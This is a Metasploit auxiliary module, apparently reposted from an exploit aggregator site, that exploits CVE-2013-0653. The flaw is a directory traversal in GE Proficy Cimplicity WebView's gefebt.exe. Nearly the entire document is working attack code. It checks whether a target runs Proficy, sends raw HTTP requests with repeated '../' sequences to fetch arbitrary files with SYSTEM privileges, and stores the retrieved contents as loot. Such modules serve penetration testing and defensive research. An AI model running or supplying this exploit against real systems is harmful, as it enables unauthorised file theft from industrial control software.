Share
## https://sploitus.com/exploit?id=PACKETSTORM:180783
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'uri'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',  
'Description' => %q{  
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the  
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM  
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.  
},  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-0653' ],  
[ 'OSVDB', '89490' ],  
[ 'BID', '57505' ],  
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]  
],  
'DisclosureDate' => '2013-01-22'))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),  
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),  
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb  
OptInt.new('DEPTH', [true, 'Traversal depth', 5])  
])  
end  
  
def normalize_uri(*strs)  
new_str = strs * "/"  
  
new_str = new_str.gsub!("//", "/") while new_str.index("//")  
  
# Makes sure there's a starting slash  
unless new_str[0,1] == '/'  
new_str = '/' + new_str  
end  
  
new_str  
end  
  
def target_uri  
begin  
# In case TARGETURI is empty, at least we default to '/'  
u = datastore['TARGETURI']  
u = "/" if u.nil? or u.empty?  
URI(u)  
rescue ::URI::InvalidURIError  
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"  
raise Msf::OptionValidateError.new(['TARGETURI'])  
end  
end  
  
def my_basename(filename)  
return ::File.basename(filename.gsub(/\\/, "/"))  
end  
  
def is_proficy?  
connect  
req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"  
sock.put(req)  
res = sock.get_once  
disconnect  
  
if res and res =~ /gefebt\.exe/  
return true  
else  
return false  
end  
end  
  
# We can't use the http client msf mixin because the Proficy Web server  
# return a malformed HTTP response with the file contents, there aren't  
# two new lines (but one) between the HTTP headers and the body content.  
def read_file(file)  
travs = ""  
travs << "../" * datastore['DEPTH']  
travs << file  
  
print_status("#{@peer} - Retrieving file contents...")  
  
connect  
req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"  
sock.put(req)  
res = sock.get_once  
disconnect  
  
if res and res =~ /HTTP\/1\.0 200 OK/  
return res  
else  
return nil  
end  
  
end  
  
def run  
@peer = "#{rhost}:#{rport}"  
  
print_status("#{@peer} - Checking if it's a GE Proficy Application...")  
if is_proficy?  
print_good("#{@peer} - Check successful")  
else  
print_error("#{@peer} - GE proficy not found")  
return  
end  
  
contents = read_file(datastore['FILEPATH'])  
if contents.nil?  
print_error("#{@peer} - File not downloaded")  
return  
end  
  
file_name = my_basename(datastore['FILEPATH'])  
path = store_loot(  
'ge.proficy.traversal',  
'application/octet-stream',  
rhost,  
contents,  
file_name  
)  
print_good("#{rhost}:#{rport} - File saved in: #{path}")  
  
end  
end